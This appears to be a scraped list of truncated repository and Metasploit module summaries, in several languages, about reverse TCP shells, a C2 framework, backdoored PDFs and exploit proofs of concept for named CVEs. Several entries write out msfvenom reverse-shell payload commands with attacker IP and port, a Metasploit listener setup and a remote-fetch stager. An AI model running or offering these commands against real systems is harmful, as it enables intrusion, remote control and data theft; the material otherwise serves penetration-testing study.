shellcode-x64

适用于 Microsoft Windows 11 x64 的 Shellcode 此脚本使用 PIC 技术生成 Windows 11 x64 反向 TCP Shellcode。 生成 shellcode 的用法 python ./shellreversetcp.py -i 192.168.10.10 -p 443 默认语言为 C 类型 shellcode，也支持 Python、Csharp 和 powershell： python ./shellreversetcp.py -i 192.168.10.10 -p 443 --language powershell 保存文件： python...

CVE-2024-36401-PoC

CVE-2024-36401-PoC CVE-2024-36401 GeoServer 的概念验证利用 GeoServer 的受影响版本为 2.23.6、2.24.4、2.25.2 之前的版本 !!! 仅供安全测试使用 !!! 除非您拥有明确许可，否则请勿在非您拥有的系统上使用此工具 !!! 运行方式... 1. 在 Metasploit 中启动一个监听器 msf6 use exploit/multi/handler msf6 exploitmulti/handler set payload linux/x64/meterpreterreversetcp msf6...

Embedded-PDF

通过PDF文件嵌入后门连接 😈 由 介绍 本演示视频展示了如何通过向目标发送看似无害的 PDF 文件（实际上嵌入了 payload）来控制受害者的设备。该漏洞已以 CVE-2010-1240 公开。 一旦受害者使用 Adobe Reader 打开 PDF，并被我们诱骗同意安全弹窗，我们就能通过反向 TCP 连接获得连接其设备的 meterpreter 会话。那时，他们所有的数据以及当前的行为都在我们的监控之下。 所需软件/工具列表 Metasploit Adobe Reader = 8.1.2 环境 攻击机 ：Kali Linux 2021.1 版本 目标操作系统 ：Windows 10...

-EXPLOIT-CVE-2023-36025

EXPLOIT CVE-2023-36025 - Descripción Vulnerabilidad de omisión de la característica de seguridad de Windows SmartScreen Uso NOTA: el handler esperando petición TCP para el objetivo P.D.: configure el archivo CVE-2023-36025.vbs para cambiar la ip y el puerto a la ip y puerto de la máquina que se...

redpill

:octocat: Project Description The redpill project aims to assist reverse tcp shells in post-exploration tasks. Often, on redteam appointments we need to use unconventional ways to access the target system, like reverse tcp shells not metasploit in order to bypass the defenses implemented by the...

Villain

Villain 目的 Villain は、複数のリバース TCP および HoaxShell ベースのシェルを処理し、追加機能（コマンド、ユーティリティ）で機能を強化し、接続された兄弟サーバー（異なるマシンで動作する Villain インスタンス）間でそれらを共有できる、高水準の Stage 0/1 C2 フレームワークです。 フレームワークの主な機能は次のとおりです。 デフォルト、カスタマイズ可能、および/またはユーザー定義のペイロードテンプレートに基づくペイロード生成（Windows & Linux） セッション間を素早く切り替えられる動的に動作する疑似シェルプロンプト...

MS17-010_CVE-2017-0143

MS17-010 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2017-0143 Docker 使用 msfvenom 生成 Payload： msfvenom -p windows/shellreversetcp LHOST=10.10.14.19 LPORT=1337 -f exe -o ms17-010.exe -p windows/shellreversetcp：指定 payload（一个针对 Windows 的反向 TCP shell）。 LHOST=10.10.14.4：攻击者的 IP 地址（目标将回连的地址）。 LPORT=443：攻击者机器上监听连接的端口。 -f...

shootback

shootback shootbackは、NATやファイアウォールの背後にあるターゲットにアクセスできるようにするリバースTCPトンネルです。 リバースTCPトンネルにより、NATやファイアウォール内側のマシンに外部からアクセスできます。 800同時接続時、CPU使用率1%未満、メモリ8MB未満を消費します。 slaverは単一ファイル で、Python（2.7/3.4+）標準ライブラリのみに依存します。 動作の仕組み 典型的なシナリオ 1. 自宅から会社/学校のコンピュータ（外部IPなし）にアクセス 自宅から会社や学校の独立した外部IPがないコンピュータに接続 2...

NodeGoat

NodeGoat Being lightweight, fast, and scalable, Node.js is becoming a widely adopted platform for developing web applications. This project provides an environment to learn how OWASP Top 10 security risks apply to web applications developed using Node.js and how to effectively address them. Getti...

powershell-reverse-tcp

PowerShell リバース TCP リモートホストと通信するためのPowerShellスクリプト。 リモートホストはクライアントとその基盤となるシステムコマンドを完全に制御できます。 以下のシェルを確認してください： Invoke-Expression PowerShell コマンド こちら, プロセスパイプ こちら。 Windows 10 Enterprise OS 64-bit上のPowerShell v5.1.19041.2673でテスト済み。 教育目的で作成されました。お役に立てば幸いです！...

Embedded-Backdoor-Connection

通过PDF文件实现嵌入式后门连接 😈 由 Bawang Ranger 呈献 简介 本演示视频展示了我们如何通过向目标发送看似无害的PDF文件（实际上嵌入了有效载荷）来控制受害者的设备。该漏洞以CVE-2010-1240公开。 当受害者在Adobe Reader中打开PDF文件时，被我们欺骗并同意安全弹窗的用户将让我们获得一个通过反向TCP连接到其设备的Meterpreter会话。届时，他们所有的数据及当前操作都将处于我们的监控之下。 所需软件/工具 Metasploit Adobe Reader = 8.1.2 环境 攻击者机器 : Kali Linux 2021.1 版本 目标操作系统...

zaphoxx-coldfusion

zaphoxx-coldfusion 基于 https://cvedetails.com/cve/CVE-2009-2265/ 的 coldfusion 漏洞利用 我为这个特定 CVE 编写 Python 脚本的主要原因是，在我试图解决 HTB 机器 Arctic 时，Metasploit 的同款利用模块对我不起作用。另外，稍微练习一下 Python 也不错。不过，还有一个由 Alexander Reid 最初编写的同款漏洞 Python 利用版本，如果你更愿意使用他的版本的话。 使用方法非常简单： 请确保你已创建好一个 payload 文件 例如，使用 msfvenom： msfven...

CVE-2009-1330

CVE-2009-1330 针对 Easy RM to MP3 Converter 2.7.3.700 缓冲区溢出的利用 CVE-2009-1330 基于： pwntools msfvenom / reversetcp payload ropper x64dbg Easy RM to MP3 Converter 2.7.3.700 存在漏洞的应用程序下载地址：https://www.exploit-db.com/exploits/10374...

Linux_X86_Reverse_TCP_Alphanumeric_Staged_Shellcode_Execve-bin-bash

此存储库没有 README。...

CVE-2018-20250

设置 视频演示：https://youtu.be/5tuWsi1tGS0 VirtualBox 虚拟机：https://j2c.cc/virtualbox-machine Winrar 5.5 32bit：https://j2c.cc/winrar-550-32bit 操作步骤 Kali： ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows： git clone...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 漏洞利用 灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 步骤 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alphamixe...

MS08-067

MS08-067 | CVE-2008-4250 参考： https://learn.microsoft.com/en-us/security-updates/SecurityBulletins/2008/ms08-067?redirectedfrom=MSDN 生成 Shellcode 我们将使用 msfvenom 生成 shellcode。 msfvenom -p windows/shellreversetcp LHOST=10.10.14.14 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py...

penetration-testing-windows10

Vulnerability Analysis and Penetration Testing Using Metasploi...

Linux dup2 Command Shell, Reverse TCP Stager

dup2 socket in s1, then execve. Connect back to the attacker Module Options...

FTP Fetch, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)

Fetch and execute an x86 payload from an FTP server. Connect back to the attacker Module Options This module requires Metasploit: https://metasploit.com/download Current source: https://github.com/rapid7/metasploit-framework module MetasploitModule include Msf::Payload::Adapter::Fetch::FTP includ...